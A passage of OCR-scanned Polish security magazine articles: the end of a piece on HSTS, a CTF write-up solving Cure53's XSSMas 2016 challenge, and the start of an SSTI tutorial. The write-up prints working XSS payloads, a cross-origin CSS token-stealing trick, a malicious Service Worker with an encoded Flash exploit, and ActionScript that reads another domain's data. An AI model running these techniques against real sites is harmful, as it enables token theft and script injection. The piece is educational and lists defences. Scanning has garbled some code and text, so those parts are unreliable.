bezpieczong subdomene (np. http://obrazki.mojbank.pl), przekierowaniu zadan
HTTP uzytkownika, na kontrolowana przez atakujgcego, zabezpieczong wersje tej
subdomeny (tj. https://obrazki.mojbank.pl) i odestaniu nagtéwka HSTS z tej subdo-
meny. Po tak wykonanym ataku, przegladarka ofiary bedzie zawsze prébowata ta-
czyc sie z nieobstugiwanym przez nikogo, poza atakujagcym adresem https://obraz-
ki.mojbank.pl. Przeprowadzenie takiego ataku, wymagatoby od hakera posiadania
waznego certyfikatu TLS, dla subdomeny obrazki.mojbank.pl.

Podobne skutki, moze mie¢ nieostrozne uzycie dyrektywy includeSubDo-
mains. Jezeli jakakolwiek subdomena jest dostepna jedynie za pomoca protokotu
HTTP, a domena gtéwna odesle nagtowek HSTS z dyrektywa includeSubDomains,
to przegladarka bedzie wymuszata zastosowanie protokotu HTTPS takze dla subdo-
meny, ktdra tego protokotu nie obstuguje.

POWSZECHNOSC HSTS

W lutym 2017 roku, brytyjski konsultant ds. bezpieczeristwa Scott Helme spraw-
dzit, ile sposréd najczesciej odwiedzanych stron internetowych, stosuje nagtéwki
HTTP zwiazane z bezpieczenstwem, w tym HSTS. Badanie byto oparte o liste Ale-
xa Top 1 Million, ktéra zawiera milion najczesciej odwiedzanych stron w Internecie.
W tym zestawie znalazto sie zaledwie ponad 40 tysiecy stron (czyli jedynie nieco
ponad 4%) stosujacych nagtowek HSTS. Co ciekawe, ok. 187 tysiecy stron przekiero-
wywato zadania HTTP na HTTPS. Oznacza to, ze prawie 150 tysiecy stron mogtoby
odnies$¢ natychmiastowa korzys¢ z wtgczenia HSTS.

Jak wyglada sytuacja po drugiej stronie potgczenia sieciowego, czyli w prze-
gladarce? Tutaj nieoceniong pomocg jest strona http://caniuse.com, ktéra zawie-

HTTP Strict Transport Security (HSTS) w praktyce...

ra stale aktualizowane informacje na temat wsparcia ré6znego rodzaju technologii
webowych, przez poszczegdlne przegladarki. Wedtug powyzszej strony, ponad
83% przegladarek na rynku wspiera nagtéwek HSTS, w tym wiodace Chrome, Fire-
fox, Edge oraz Safari. Ostatnia do grona wspierajacych ten mechanizm dotgczyta w
czerwcu 2015 przegladarka IE 11.

Warto zainteresowac sie réwniez liczbg domen wpisanych na liste preloadowa-
nych w przegladarce Chrome. Najtatwiej sprawdzic¢ to, przegladajac plik chromium/
src/net/http/transport_security_state_static.json w kodzie zrodtowym projektu Chro-
mium, ktory jest dostepny na zasadach open source w serwisie Google Code. W mo-
mencie publikacji tego artykutu, plik ten zawierat ponad 20 tysiecy domen.

PODSUMOWANIE

Gdyby strona www.mojbank.pl odestata do Twojej przegladarki nagtéwek HTTP
Strict Transport Security, atak na lotnisku nie miataby szans powodzenia i po powro-
cie z wakacji, nadal bytbys jedyna osobg znajaca dane dostepowe do swojego konta
w banku.

HSTS jest technologig, ktorej stosowanie jest proste i nie wigze sie z zadnymi na-
ktadami finansowymi. Dotgczenie jednego nagtéwka do odpowiedzi serwera to nie-
wielka cena za ochrone uzytkownikéw, przed bardzo powaznymi konsekwencjami.

Marcin Hoppe. Architekt oprogramowania, pasjonat systemow
rozproszonych i chmury obliczeniowej. Na co dzier rozwija framework
NServiceBus w firmie Particular Software oraz uczy polskich programistéw,
jak pisac bezpieczniejszy kod.

Kontakt: marcin.hoppe@acm.org i @marcin_hoppe na Twitterze
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Wykradanie tokendw, hakowanie jQuery i omijanie Same-Qrigin Policy...

Wykradanie tokenow, hakowanie jQuery
i omijanie Same-Origin Policy - czyli jak
wygratem XSSMas Challenge 2016

XSSMas Challenge to wyzwanie (w stylu CTF-a) organizowane od kilku
lat przez firme Cure53. Jak mozna domysli¢ sie z nazwy, zadania ogtasza-
ne sg zawsze w okolicy Swigt Bozego Narodzenia i polegaja na wykorzy-
staniu podatnosci typu XSS. Oczywiscie, wykonanie tego XSS-a nie jest
proste i zazwyczaj wymaga wykorzystania jakich$ specyficznych cech
przegladarek, lub nowych metod ataku.

% W tym artykule:

» Poznacie ciekawy spos6b na odczytywanie tokenéw z innej domeny,
» Dowiecie sie jak zrobi¢ XSS-a za pomocg jQuery,
» Zobaczycie, w jaki sposéb ztamaé Same-Origin Policy za pomocg Flasha.

Zadanie z korncéwki 2016 r. udostepnione zostato pod adresem https://xssmas2016.
cure53.de/. Na gtownej stronie dowiemy sie, ze celem jest wykonanie XSS-a w dome-
nie https://xssmas2016.cure53.de, ktéry wyswietli w alercie token, wydobyty zdome-
ny https://juicyfile.cure53.de. Wyglada wiec na to, ze rozwigzanie ¢wiczenia bedzie tez
wymagato w jakis sposéb ztamania Same-Origin Policy. Zobaczmy zatem po kolei, co
byto wymagane do rozwigzania ¢wiczenia.

KROK 1. DOSTEP DO /PATHWAY

Na stronie gtéwnej zadania, w czerwonym obramowaniu znajdziemy link, ktory
prowadzi do strony o URL-u podobnym do https://xssmas2016.cure53.de/pathway-
?7access_token=589df7f247923#employee. W URL-u znajduje sie access_token, ktéry
jest unikalny dla kazdego uzytkownika (tj. jest przechowywany w sesji). Jesli podamy
niepoprawny access_token, dostaniemy niestety komunikat o zabronionym dostepie:

- C' @ Secure https://xssmas2016.cure53.de/pathway?access_token=589d{7f247923s

Access denied

Rysunek 1. ,Access denied” po podaniu niepoprawnego access_tokenu

Whniosek jest z tego taki, ze pierwszym krokiem, przez ktéry musimy przebrna¢,
jest wykradzenie tego access_tokenu. Jest to bardzo istotne, bowiem - uprzedzajac
fakty — to na stronie /pathway bedzie punkt wejscia, dzieki ktdremu wykonamy XSS-a.

Zawartos$¢ access_tokena jest pobierana ze strony https://xssmas2016.cure53.
de/token.json?v=1.

' @ Secure https://xssmas2016.cure53.de/token.json?v=1 w O

1
{"name"” : "¥55mas Challenge Z2016","authors":
["maric”,"masato”,"filedescriptor"], "vereion™:"1" ,"access_ token":"58a5cal27494e"}

Rysunek 2. Zawartos¢ pliku token.json

Jak widzimy na Rysunku 2., w odpowiedzi na token.json dostajemy obiekt JSON-owy,
w ktérym jednym z elementéw, jest potrzebny access_token. Mamy kontrole nad
parametrem v, ktory jest przepisywany w odpowiedzi w version. Moim pierwszym
pomystem na wydobycie tego tokena, byto skorzystanie z ataku znanego jako JSON
hijacking. Ten sposéb okazat sie jednak by¢ slepa uliczka.

W rzeczywistosci, do wydobycia tokenu nalezato uzy¢... CSS-6w. Jeden z twor-
cow zadania - File Descriptor — swego czasu opisywat na swoim blogu, w jaki sposob
mozna uzyc¢ arkuszy stylu, by wydobywac dane zinnej domeny za pomoca kodowa-
nia UTF-16. Zacznijmy od kilku stéw na temat kodowania UTF-16: jest to kodowanie
niezgodne z ASCI|, gdzie kazdy znak jest zapisywany na dwoch, lub czterech bajtach.
Jesli tekst napisany przyktadowo w UTF-8, prébujac odczyta¢ go w kodowaniu UTF-
16, najczesciej zobaczmy serie, krzaczkow’, wynikajacych z tego, ze UTF-16,,potknie”
dwa bajty, jako jeden znak. Zat6zmy, ze mamy string "TEST". Jesli sprobujemy go
przeczyta¢ w kodowaniu UTF-16BE (UTF-16 Big Endian), dostaniemy string: "I&%x"
. Dlaczego tak? W ciggu znakéw ,TEST” kolejne znaki maja nastepujace kody ASCII:
0x74, 0x65, 0x73, 0x74. Gdy tekst jest interpretowany jako UTF-16, dostajemy nagle
dwa znaki U+7465 i U+7374.

Wro¢my wiec do token.json. Sprébujmy ten plik dofgczy¢ do HTML-a na dwa
sposoby:

<!-- bez definicji kodowania -->

<link rel="stylesheet"

href="https://xssmas2016.cure53.de/token.json?v="
>
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Michat Bentkowski

<!-- z definicja kodowania UTF-16 -->

<link rel="stylesheet"
href="https://xssmas2016.cure53.de/token.json?v="
charset="utf-16be"
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Rysunek 3. Dotgczenie pliku token.json bez definiowanego kodowania
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Rysunek 4. Dofgczenie token.json z kodowaniem UTF-16BE

Na Rysunku 3 i Rysunku 4 widzimy, ze przegladarka (Chrome) bierze pod uwage

kodowanie, ktére zdefiniowalismy.
Nastepnie, bedziemy musieli wykorzysta¢ dwa fakty:

» W token.json mamy kontrole nad jednym parametrem, ktéry jest odbijany
w odpowiedzi,

» W CSS-ie jesteSmy w stanie zdefiniowaé pewne wihasciwosci, ktére pdzniej moz-
na odczytac z poziomu JavaScriptu.

Sprébujmy wiec z nastepujacym kodem:

<link rel="stylesheet"
href="https://xssmas2016.cure53.de/token. json?v=%00,%00*%00{%00a%00n%001i%00m%00
a%001t%001%000%00n%00: "
charset="utf-16be"

>

Dzieki temu, liczymy, ze wstrzykniemy w CSS-a nastepujacy fragment kodu: , *
{animation:, co sprawi, ze kazdy element na stronie bedzie miat zdefiniowanga
wiasciwos$¢ animation z wartoscia rowna temu, co znajduje sie dalej w token.json.

Hawree ¥ Hepdss Prevew Fesponge Coolies Timing

_| bt reml L TROcENRRDE- R Es ﬂmllﬂiﬂsml]xim#m.!am-Enms#xtmhllum-'l

| ol uorihes W00, SO0° 800{ 0.

Rysunek 5. Zdefiniowana wtasciwos¢ ,,animation” w CSS

Wykradanie tokendw, hakowanie jQuery i omijanie Same-Qrigin Policy...
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Rysunek 6. Zaktadka , Styles” pokazuje, Zze CSS rzeczywiscie zostat zinterpretowany przez przeglgdarke

Na Rysunkach 5 i 6 widzimy, ze przegladarka zinterpretowata fragment CSS-a, ktéry
wstrzyknelismy w token.json - i przypisata do wtasciwosci animation znaki z kt6-
regos ze wschodnich alfabetow ;)

Naszym ostatnim zadaniem, jest pobranie tej wartosci w JavaScripcie i przekon-
wertowanie tych znakéw z powrotem do ASCII. Postuzymy sie tutaj funkcjg getCom-
putedStyle oraz escape/unescape. Kolejne kroki pokazane na Rysunku 7.

> getComputedStylel(document . body) .animation

v=issaE B EMT 0@ 3 0s ease Os 1 normal none running®
» escapelgetComputedStyleldocument  body) . animation)

MRU2Z22CEUZ2261%uB363%5ueS T 3R u T ISR U T 46 UBBRSE UBEZ A USAZEU353EN
UE33THUE2EE5% U331 365 u33385u3T 35 u30225uTD0A% 2005% 20ease% 2005% 201
L20normal%20none%20running"

» escapelgetComputedStyle(document . body) .animation) . replacei /Sul
R R RLE L  O

N A A 2 Bl G 3 B3N B T T 3N G T A% 6 6B 655 6 225 S A% 225, 355 38%
B33 NEE0E% 31% 36% 335 385 3T 35 305 225 TR 0A% 2005% 20ea5e% 2005% 201
%20normal%20none%20running"”

> unescapelescapelget ComputedStyleldocument . body) . animation) . rep
lace(/%ul..)(..)/9, "%$1%%2"))

"", "access_token":"SBcT7bfle38720"}
Oz ease 0= 1 normal none running"

» unescapelescapelgetComputedsStyleldocument . body) . animation) . rep
lacel Sul . )0, ) g, "%$1%%2")) .slice(l18,31)

"S58c7bfle3s720"

Rysunek 7. Prezentacja krok po kroku jak w JS odczytac access_token

W ten sposdb, mamy ukoriczony pierwszy etap zadania — wydobylismy access_to-
ken i jestesmy w stanie przejs¢ do strony pathway z poprawnym tokenem. Jak na
razie, kod zrédtowy wyglada nastepujaco:
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<link rel="stylesheet"
href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%001i%00m%00
a%001%001%000%00Nn%00 : "
charset="utf-16be"
>

<script>
var token = unescape(escape(getComputedStyle(document.head).animation).
replace(/%u(..)(..)/g, '%$1%$2')).slice(18,31);

location = 'https://xssmas2016.cure53.de/pathwayraccess_token=' + token;
</script>
KROK 2. XSS PRZEZ JQUERY

Wiemy juz, jakwydoby¢access_token by dostac sie do strony https://xssmas2016.
cure53.de/pathway. Jako kolejny krok, z poziomu tej strony wykonamy XSS-a. Na
samym koncu zrédta strony jest fragment kodu, ktéry natychmiast zwraca uwage:

<script>

$(location.hash).show();
</script>

Wykorzystany jest tutaj znany XSS w jQuery, polegajacy na mozliwosci przekazania
fragmentu kodu HTML/JS w selektorze. W starszych wersjach jQuery wykonanie po-
nizszego kodu pozwalato na wyswietlenie alerta:

$("#<img src=1 onerror=alert(1)>")

Zadanie wykorzystywato jednak najnowszg dostepng wersje jQuery, gdzie tego
typu sztuczka nie dziatata. Préba odwotania sie do adresu np. https://xssmas2016.
cure53.de/pathway?access_token=58c7ca43d2f27#<img src=1 onerror=alert(1)>
skutkowata wyswietleniem btedu w konsoli przegladarki (Rysunek 8).

[w ﬂ Elements Conscle Sources Metwork » 91 EI 4

O % top ¥ Preserve log

© » Uncaught Error: Syntax error, jguery-3.1.1.slim.min.js:2
unrecognized expression: #=img src=1 onerror=alertil)=
at Function.ga.error (jguery-3.1.1.slim.min.js:2)
at ga.tokenize (jguery-3.1.1.slim.min.js:2)
at ga.select (jquery-3.1.1.slim.min.js:2)
at Function.ga [as find] (jquery-3.1.1.slim.min.js:2)
at r.fn.init.find (jguery-3.1.1.slim . min.js:2)
at r.fn.init (jguery-3.1.1.slim.min.js:2)
at r (jouery-3.1.1.slim.min.js:2)
at pathway?access_token=58c7cad3d2fZ7:30

Rysunek 8. Proba wykonania XSS-a przez jQuery powoduje btgd

Wykradanie tokendw, hakowanie jQuery i omijanie Same-Qrigin Policy...

Wydawato sie wiec, ze niezbedne jest odnalezienie innego sposobu na zrobienie
XSS-a...
... ale moze jednak wré¢my na chwile do kodu zrédtowego strony /pathway:

<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js"></script>

<script>
// window.name won’t bring ye fame
window.name = '';

// IE8 fallback
window.jQuery || document.write('<script src="jquery.js"><\/script>');
</script>

W pierwszej linii tadowany jest jQuery. Jednak w siddmej linii widzimy sprawdzenie,
czy obiekt jQuery istnieje; jesli nie, wowczas jQuery jest tadowane ponownie, ale
z innej sciezki! Okazuje sie oczywiscie, ze w tej Sciezce znajduje sie o wiele starsza
wersja jQuery, ktdra jest podatna na XSS-a.

Cure53 jako wskazéwke dla tej czesci. .. data linka do piosenki Inner Circle - Swe-
at (A La La Long). A wskazowka jest w tytule - chodzi o stowo ,long”

Gdy wysytamy zapytanie http do jakiego$ serwera, przegladarki domysinie do-
taczaja nagtéwek Referer, ktérego wartos¢ wskazuje na adres URL strony, z pozio-
mu ktorej wykonano to zapytanie. Praktycznie, wszystkie serwery majg ogranicze-
nia dotyczace dopuszczalnej dtugosci wartosci nagtéwkow. Okazuje sie, ze serwer
code.jquery.com (z nie do korica jasnych przyczyn) zamykat potagczenie, gdy nagto-
wek Referer miat co najmniej 5000 bajtow.

Wystarczy wiec do adresu URL do strony /pathway, dopisac piec tysiecy dowol-
nych znakoéw, a nastepnie po haszu mozemy umiesci¢ fragment kodu wykonujace-
go XSS-a. Aktualnie, kod wyglada wiec nastepujaco:
<link rel="stylesheet"

href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%001%00m%00
a%00t%001%000%00n%00: "

charset="utf-16be"
>

<script>
var token = unescape(escape(getComputedStyle(document.head).animation).
replace(/%u(..)(..)/g, '%$1%%$2')).slice(18,31);

location = 'https://xssmas2016.cure53.de/pathway?access_token=' + token + '&"'.
repeat(5000) + '#<img src=1 onerror=alert(1)>';
</script>
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Rysunek 9. Wykonanie XSS-a w domenie xssmas2016.cure53.de

W poréwnaniu z poprzednim kodem, zmienilismy tylko tyle, ze dopisujemy piec
tysiecy ampersandéw do Sciezki, a po znaku hasza, mamy najbardziej standardo-
wy kod XSS-owy. Na Rysunku 9 wida¢, ze XSS rzeczywiscie sie wykonuje, a w tle
- w konsoli przegladarki — widoczny jest btagd ERR_CONNECTION_CLOSED, podczas
préby tadowania jQuery z code.jquery.com.

KROK 3. KRADZIEZ TOKENU Z JUICYFILE.CURE53.DE

Naszym ostatnim zadaniem, jest kradziez tokena z domeny https://juicyfile.
cure53.de. Po wejsciu na strone zobaczymy, ze na poczatku wyswietlany jest token,
za$ pod spodem jest aplet flashowy przedstawiajacy podskakujacego sw. Mikotaja
z reniferem (Rysunek 10). O ile sam aplet flashowy do niczego sie nam nie przyda, o
tyle miat on by¢ najprawdopodobniej wskazéwka, ze rozwigzanie bedzie miato cos
wspolnego z Flashem.

= ' @ Secure https://juicyfile.cure53.de

XSSMAS-uwon-58c7d56bdal Ba-uwon-XSSMAS

Rysunek 10. Wyglqd strony juicyfile.cure53.de

Wykradanie tokendw, hakowanie jQuery i omijanie Same-Qrigin Policy...

Okazujessie, ze pod adresem https://juicyfile.cure53.de/crossdomain.xml umiesz-
czony jest plik z polityka dla Flasha.

<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="xssmas2016.cure53.de" />
</cross-domain-policy>

W polityce zdefiniowano, ze aplety flashowe hostowane w domenie xssmas2016.
cure53.de, maja przydzielone pozwolenie do odczytywania danych zdomeny juicy-
file.cure53.de. Musimy wiec rozwigza¢ dwa problemy:

1. Przygotowac aplet flashowy do pobierania danych z domeny juicyfile.cure53.de,
2. Zahostowac tego flasha w domenie xssmas2016.cure53.de.

By skompilowa¢ wtasny plik SWF, wykorzystamy narzedzie as3compile (dostepne
w pakiecie swftools, do zainstalowania np. w dystrybucji Kali). Pliki SWF sg kom-
pilowane z jezyka ActionScript, ktéry — de facto - jest tym samym standardem co
JavaScript. Ponizej wklejam prosty przyktad pliku ActionScript, ktéry pobierze dane
zdomeny juicyfile.cure53.de i wyswietli alert z trescig tokenu.

import flash.external.*;
import flash.net.*;

(function () {
// Tworzymy nowy obiekt typu URLLoader, ktéry pobierze https://juicyfile.cure53.de
var loader = new URLLoader(new URLRequest("https://juicyfile.cure53.de"));

// Zdarzenie "complete" jest wywolywane w momencie pobrania

// wskazanego wyzej URL. Tutaj wskazujemy, ze w momencie

// zatadowania pliku, zostanie wykonana funkcja loaderCompleted.
loader.addEventListener("complete"”, loaderCompleted);

function loaderCompleted(event) {

// event.target.data - zawiera tres¢ odpowiedzi http

// pobrang za pomoca URLLoader.

// Klasa Externallnterface z kolei pozwala odnies¢ sie

// z poziomu Flasha do przegladarkowego JavaScriptu.

// Wywotywany jest tutaj wiec alert z pierwszymi znakami

// z odpowiedzi z https://juicyfile.cure53.de - czyli z samym tokenem.
ExternalInterface.call("alert", event.target.data.slice(0,37));

}
HO;

By skompilowac ten plik ActionScript, mozemy postuzy¢ sie poleceniem:

as3compile exploit.as
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W efekcie, w tym samym katalogu zostanie utworzony plik exploit.swf, ze skom-
pilowanym kodem Flasha.

Pozostat do rozwiagzania ostatni problem: jak sprawi¢, by ten plik exploit.swf byt
zahostowany na domenie https://xssmas2016.cure53.de? Mamy wprawdzie w tej
domenie XSS-a, ale to jeszcze nie sprawia, ze jesteSmy w stanie zahostowac w niej
swoj plik Flasha.

Z ratunkiem przychodza: Service Workers! O Service Workers na Sekuraku juz pi-
satem. W skrécie: jest to dos¢ nowy mechanizm w przegladarkach, ktéry pozwala
nam w JavaScripcie zdefiniowac proxy, przechwytujace wszystkie zapytania wysyta-
ne przez aplikacje webowg, do serweréw zewnetrznych. Co za tym idzie, z poziomu
Service Workeréw, mozemy podmienic tres¢ dowolnej odpowiedzi http.

By moc zarejestrowad ztosliwego Service Workera, muszg by¢ spetnione naste-
pujace warunki:

» Domena musi dziata¢ w HTTPS (co jest spetnione w przypadku xssmas2016.
cure53.de),

» Musimy mie¢ mozliwos¢ wrzucenia wtasnego kodu JS z ustawionym nagtow-
kiem Content-type: application/javascript.

Ten drugi warunek moze sie wydawa¢ dos¢ duzym utrudnieniem, ale w domenie
xssmas2016.cure53.de znajduje sie endpoint z JSONP — w ktérym mamy petng kon-
trole nad callbackiem.

<« & | @ hitps://xssmas2016.cureS3.de

S alert{1) {{"name" : "¥mas challenge 2016",'authors":["maric’,"masato”,"filedescriptor®],"version®:""})
9 f . . 2] .

Rysunek 11. JSONP z petnq kontrolg nad callbackiem

Popatrzmy jak wygladatby kod Service Workera:

// Zdarzenie "onfetch" jest wywotywane w Service Workerze
// gdy pobierany jest dowolny zaséb w domenie, dla ktoérej
// Service Worker jest zdefiniowany.
onfetch = function (ev) {
// Przy prébie pobrania dowolnego zasobu
// odpowiadamy wczed$niej skompilowanym Flashem.
ev.respondWith(fetch("data:application/x-shockwave-flash;
base64,Q1dTCXoBAAB42jVPTUVDQBCdmdOOSdV%2bgNSKVy9CmwrSi6cKimIp
FAp6K7jZTGwkpjXZit4kv8T/4cG/0J/k1tZ3mH1v5jHDWOHIG%2bDnCO4RbpS
eAPwePyLsOIAABPQB6UCO1HNztjBmVVz3ei/rRH/GScgBXufcvwoi9vTydZWy

Wykradanie tokendw, hakowanie jQuery i omijanie Same-Qrigin Policy...

4ebww3CeqfQ%2bsz1WmitG5¢c9sZKSMcoo@@Sy1StPqw2wy47c1F8a3dLIUEec
NFUXDd87MICkMZ5zX41QVi4D3R/2dzNidLWzVIWkcOtvEESUgngr5LVZcOX0H4
WA4G%2bh7b4hyi3cf557UFgwo1ABBSby5HAOATYFhIACiGWZeyUXezSXYXKqUt
2T0IinW8uB6hxjhOxRiwlzSmkMVkmQtGRIU69rVcQAdaslzSGGN3AxchOB/bt
HwVIS94="));

}

Kod Service Workera musi znalez¢ sie w odpowiedzi z JSONP (Rysunek 12).

= C | & https:/ixssmas 2016.cure53.de/t

Jonfanfeteh = ev == av.respondWlth(feteh(data:spplication, - shockwave-

flash;basasd, QLdTCHEAABAZ) VPT Uy DOBCAmd D050 V+ gMSX Ny DCmur 51 Bc K 1ml pRARSK 7] ZT Gwkp ) K21 tak wET fAcG/ 0 /k L1 Z3mH 1 v'5) HIWDHSGHDNC
o TydZnydebwwaCeqT Qa2 Luni t0Sc 08 ZKSMe aa00Sy 1 STPgw2ey 47 1FBa 2dL I EachFUINDIE7M] Ch MES 2 XL OV ADERy 24201 4 W2 vk eOtvEESLgng r
BZSHY KKqLIL 2T OF 1niWsuBGhx ) hox AL wlz SmkMykmitoRIUGSr vodAdas Lz 5oohEaxchoB /b tHwWIS8d=" ) ) ; ({*name* : " ¥mas challenge 20167 ,"aut

Rysunek 12. JSONP zwracajqgce Service Workera

Service Worker musi jeszcze zostac zarejestrowany. Wykorzystamy w tym celu na-
stepujacy kod:

navigator.servicelWorker.register("https://xssmas2016.cure53.de/token.
jsonp?callback=...")
.then(ev=>location=1)

Rejestrujemy Service Workera zdefiniowanego w JSONP, a po udanej rejestracji
przekierowujemy do dowolnej, innej podstrony w domenie https://xssmas2016.
cure53.de. W efekcie - po tym przekierowaniu - przegladarka odwota sie do Flasha,
ktéry pobierze i wyalertuje token.

Finalny kod wyglada nastepujaco:

<link rel="stylesheet"
href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%001i%00m%00
a%001%001%0007%00Nn%00 : "
charset="utf-16be"

>

<script>
var token = unescape(escape(getComputedStyle(document.head).animation)
.replace(/%u(..)(..)/g, '%$1%$2')).slice(18,31);
location = 'https://xssmas2016.cure53.de/pathway?access_token=' + token + '&'
.repeat(5000) + "#<img src=1 onerror=navigator.serviceWorker
.register('https://xssmas2016.cure53.de/token.jsonp?callback
=onfetch%20=%20ev%20=%3E%20ev .respondWith(fetch(%22data:appl
ication/x-shockwave-flash;base64,Q1dTCXUBAAB42jVPTUVDQBCdmU2
apGo/QGrFgycPQhsL4sVTBWuxFIoFjwU3m4mNrGINtqI3yS/xf3jwL/QnuaX
1HWbmzXvM83ZQ/wb4%2bYJjhNumDwC/hw8IWzQgBAFnAHVwpebcnMyNWRbXF
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xcvq1R9IgnmUK1yvroMY/bV4anWp2XBz8GE4z65%2bz2xPpOKKkfkzGyeWRrq
FThU7SmodPE7H44WM0Oa/aacpvKy5MQ8bx4J0zMR4LwxnntUTLYh7y7miwpRk
brdWtWuvAxTYeITmOW8HA06pHe55wgw3BWEdbgn1ONnH%2bY%2b1AYMM5gAg
01r2h1V1CbD%2bJIDkWYOGXil13s012FyolHVichkE7XvT4qnOGMOmIEOEISF
UXUcSKc%2bBubIAKsWRspjDC%2bgfOh3fbtxz9T5Up2%22)); ") .then(e=&
gt;location=1)>";

</script>

Na Rysunku 13 pokazano finalnie dziatajacy kod.

[ hitps:/fxssmas201E = A

=
L ' | & hitps://xssmas2016.cure53.de/1

xssmas2016.cure53.de says:
XESMAS-uwon-58cTe2f3d63eT-uwon-X55MAS

Prevent this page from creating additional dialogs.

Rysunek 13. Finalny, dziatajgcy kod

PODSUMOWANIE

»
»
»

Rozwigzanie XSSMas Challenge 2016 wymagato rozwigzania trzech probleméw:

odczytania wartosci access_tokena z poziomu innej domeny,
wykonania XSS-a przez jQuery,
odczytania finalnego tokenu za pomoca Flasha.

By rozwigzac te problemy, nalezato kolejno:

»

»

»

odwotac sie do strony https://xssmas2016.cure53.de/token.json z wymuszonym
kodowaniem UTF-16-BE, co pozwolito na zinterpretowanie tej strony jako CSS
i pozniejszy odczyt access_tokena z poziomu JavaScriptu;

zadbac o to, by nie zatadowata sie najnowsza dostepna wersja jQuery. W tym
celu nalezato do adresu URL dopisa¢ odpowiednio duzg liczbe dowolnych zna-
kow, by nastepnie potaczenie do code.jquery.com zostato zablokowane;
odczyta¢ za pomoca Flasha dane z domeny juicyfile.cure53.de. W tym celu na-
lezato przede wszystkim, skompilowac odpowiedni plik SWF, a nastepnie, wyko-

Wykradanie tokenéw, hakowanie jQuery i omijanie Same-0rigin Policy...

rzystujac Service Workers, sprawi¢, by z punktu widzenia przegladarki, ten plik
byt zahostowany w domenie xssmas2016.cure53.de.

Po wykonaniu wszystkich powyzszych krokéw, zadanie zostato rozwigzane :)
Co zrobi¢, aby ochroni¢ przed btedami, wykorzystywanymi w zadaniu?

» pamietacoustawieniunagtéwkaContent-Typewrazzkodowaniem,dlawszyst-
kich odpowiedzi. Pierwsza cze$¢ ataku nie powiodtaby sie, gdyby serwer zwracat
nagtowek Content-Type: application/javascript;charset=utf-8.

» w przypadku uzywania JSONP, nie pozwala¢ na definiowanie dowolnych znakéw
w callbacku, jak rowniez ograniczac jego dtugosc¢ (np. do 20 znakow).

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty
bezpieczenstwa w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie t
(i z sukcesem) uczestniczy w znanych programach bug bounty.
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Server-Side Template Injections

O klasie podatnosci Server-Side Template Injections (SSTI) zrobilo sie gto-
$no dopiero w ostatnim czasie. Nie znaczy to, ze jest to temat, ktéry moz-
na zignorowac - bardzo niska §wiadomos¢ deweloperéw, potgczona z po-
pularnoscia réznego rodzaju silnikéw szablonéw (ang. Template Engines)
- niezaleznie od wybranego jezyka programowania - i fakt, ze w wiekszo-
Sci przypadkéw rezultatem wykorzystania podatnosci jest wykonanie
dowolnego kodu na maszynie ofiary (ang. RCE — Remote Code Execution),
powoduje, ze warto pozna¢ zasady dziatania stojgce za tym atakiem.

SILNIKI SZABLONOW

Zanim przejdziemy do omawiania podatnosci, warto w dwéch stowach powie-
dzie¢ czym sa tytutowe silniki szablonéw. Kazdy, kto napisat kilka linijek kodu, spo-
tkat sie z jakims rodzajem takiego silnika. Jako przyktad przeaanalizujemy prosta
strone internetowa, ktéra wyswietla dane (na przyktad - imie) zalogowanego uzyt-
kownika. Nie bedziemy tworzy¢ statycznego pliku HTML dla kazdego uzytkownika,
ktérego mamy w bazie. Zamiast tego moglibysmy prébowac ,klei¢” nasz wyjsciowy
HTML w kodzie, ale to rozwigzanie, ktére z punktu widzenia inzynierii oprogramo-
wania nie jest zalecane. Czy nie lepiej bytoby stworzy¢ jeden ,wzorzec” strony z,pu-
stymi miejscami” do wypetnienia konkretnymi danymi?

Tutaj wtasnie zaczyna sie stosowanie silnikow szablonéw - zobaczmy, jak ich
uzycie wygladatoby na przyktadzie popularnego silnika w jezyku Java: Freemarker.
Kod zrodtowy przyktadowej aplikacji (petny kod zrédtowy wszystkich przyktadéw
jest publicznie dostepny) prezentuje Listing nr 1.:

Listing 1. Kod zrédtowy aplikaji z przyktadu

1. @Controller
2. public class TemplateController {
3.
4. @RequestMapping(method = RequestMethod.GET, path = "/")
5. public String hello(Map<String, Object> model, @CookieValue(
required = false, name = "username") String b64username) throws IOException {

6. if (null != b64username) {

7. String decodedUsername = new String(
Base64.getDecoder().decode(b64username));

8. model.put("username", decodedUsername);

9. }

10.

Server-Side Template Injections

11. return "hello";
12. }
13.
14. @RequestMapping(method = RequestMethod.POST, path = "/updateUsername")
15. public String updateUsername(
@RequestParam("username") String username, HttpServletResponse response) {

16. response.addCookie(new Cookie(
"username", Base64.getEncoder().encodeToString(username.getBytes())));
17. return "redirect:/";
18. }
19.
20. }

A tak wyglada po uruchomieniu (Rysunek 1.).

localhost:8080 - Google Chrome
@/ localhost:8080

=
< C | @ localhost:8080

Hello dear user: Anonymous

Change your username:
[ =

Submit

Rysunek 1. Przyktadowy szablon

Logika jest bardzo prosta: aplikacja wyswietla powitanie. Mozemy spersonalizowac
strone, podajac swoje imie.

localhost:8080 - Google Chrome

@ localhost:8080

& C | ® localhost:2080

Hello dear user: IL.oveTemplatesYes

Change your username:

IILweTempIatesYes =

Submit |

Rysuenk 2. Spersonalizowana strona powitania
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Dziatanie jest nastepujace: gdy otrzymamy dane od uzytkownika pod sciezka
/updateUsername, enkodujemy je za pomoca algorytmu Base64 i ustawiamy jako
ciastko (Listing 1. linia 16), a nastepnie przekierowujemy go z powrotem na strone
gtowna (linia 17). Na stronie gtéwnej aplikacja sprawdza w linii 6, czy posiadamy
ciastko z nazwg uzytkownika - jesli tak, dekodujemy je z formatu Base64 (linia 7) i
wyswietlamy. Tu wkraczaja na scene szablony -za cze$¢ prezentacyjng odpowiada
nam wspomniany wczes$niej Freemarker. W linii 8. zapisujemy zdekodowang nazwe
uzytkownika, do tak zwanego (terminologia rézni sie tutaj pomiedzy silnikami) mo-
delu, ktory jest niczym innym, jak mapowaniem nazw zmiennych na ich wartosci.
Nastepnie, w linii 11 zwracamy wartos¢ "hello" - poniewaz uzywany w aplika-
¢ji framework Spring wie, ze nasze widoki sg obstugiwane przez silnik Freemarker,
przekieruje on wykonanie do pliku hello. ftl, wygladajacego nastepujaco:

Listing 2. Dziatanie aplikacji z przyktadu

1. <!DOCTYPE html>
2.
3. <html lang="en">
4.
